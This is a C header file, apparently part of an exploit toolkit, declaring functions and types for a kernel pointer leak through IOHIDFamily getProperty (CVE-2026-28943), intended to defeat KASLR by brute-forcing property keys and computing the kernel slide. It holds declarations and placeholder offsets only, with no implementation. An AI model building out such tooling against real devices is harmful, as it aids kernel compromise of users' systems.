#ifndef IOHID_EXPLOIT_H
#define IOHID_EXPLOIT_H

#include "../Common/ExploitCore.h"

#ifdef __cplusplus
extern "C" {
#endif

// ============================================================================
// IOHIDFamily KASLR Leak (CVE-2026-28943)
// ============================================================================

// IOHID classes that may leak kernel pointers via getProperty
typedef enum {
    kIOHIDClass_Interface = 0,
    kIOHIDClass_EventService = 1,
    kIOHIDClass_Device = 2,
    kIOHIDClass_Element = 3,
} iohid_class_t;

// Property keys that may return kernel pointers
typedef enum {
    kIOHIDKey_VTable = 0,           // May return vtable pointer
    kIOHIDKey_Task = 1,             // May return task pointer
    kIOHIDKey_IPCPort = 2,          // May return ipc_port pointer
    kIOHIDKey_ZoneAddress = 3,      // May return zone address
    kIOHIDKey_OSMetaClass = 4,      // May return OSMetaClass pointer
    kIOHIDKey_Custom = 5,           // Custom key to test
} iohid_property_key_t;

// IOHID exploit context
typedef struct {
    io_connect_t hid_client;
    uint64_t kernel_base;
    io_service_t hid_service;
    bool initialized;
} iohid_ctx_t;

// Initialize IOHID exploit
exploit_error_t iohid_init(iohid_ctx_t *ctx, uint64_t kernel_base);

// Leak kernel pointer via getProperty
exploit_error_t iohid_leak_kernel_ptr(iohid_ctx_t *ctx, 
                                       iohid_class_t class_type,
                                       iohid_property_key_t key,
                                       uint64_t *leaked_ptr);

// Brute-force property keys to find kernel pointer leaks
exploit_error_t iohid_bruteforce_keys(iohid_ctx_t *ctx, uint64_t *leaked_ptrs, int max_ptrs);

// Calculate KASLR slide from leaked pointer
uint64_t iohid_calculate_slide(uint64_t leaked_ptr, const char *symbol_name);

// Cleanup
void iohid_cleanup(iohid_ctx_t *ctx);

// ============================================================================
// Known kernel pointers that may be leaked (offsets from kernel base)
// ============================================================================

// These are common pointers that might be exposed via IOHID getProperty
#define KERNEL_VTABLE_OFFSET          0x0  // Varies per class
#define KERNEL_TASK_OFFSET            0x0  // current_task()
#define KERNEL_IPC_PORT_OFFSET        0x0  // Some port in the process
#define KERNEL_ZONE_ADDR_OFFSET       0x0  // Zone address (kalloc, etc.)

#ifdef __cplusplus
}
#endif

#endif // IOHID_EXPLOIT_H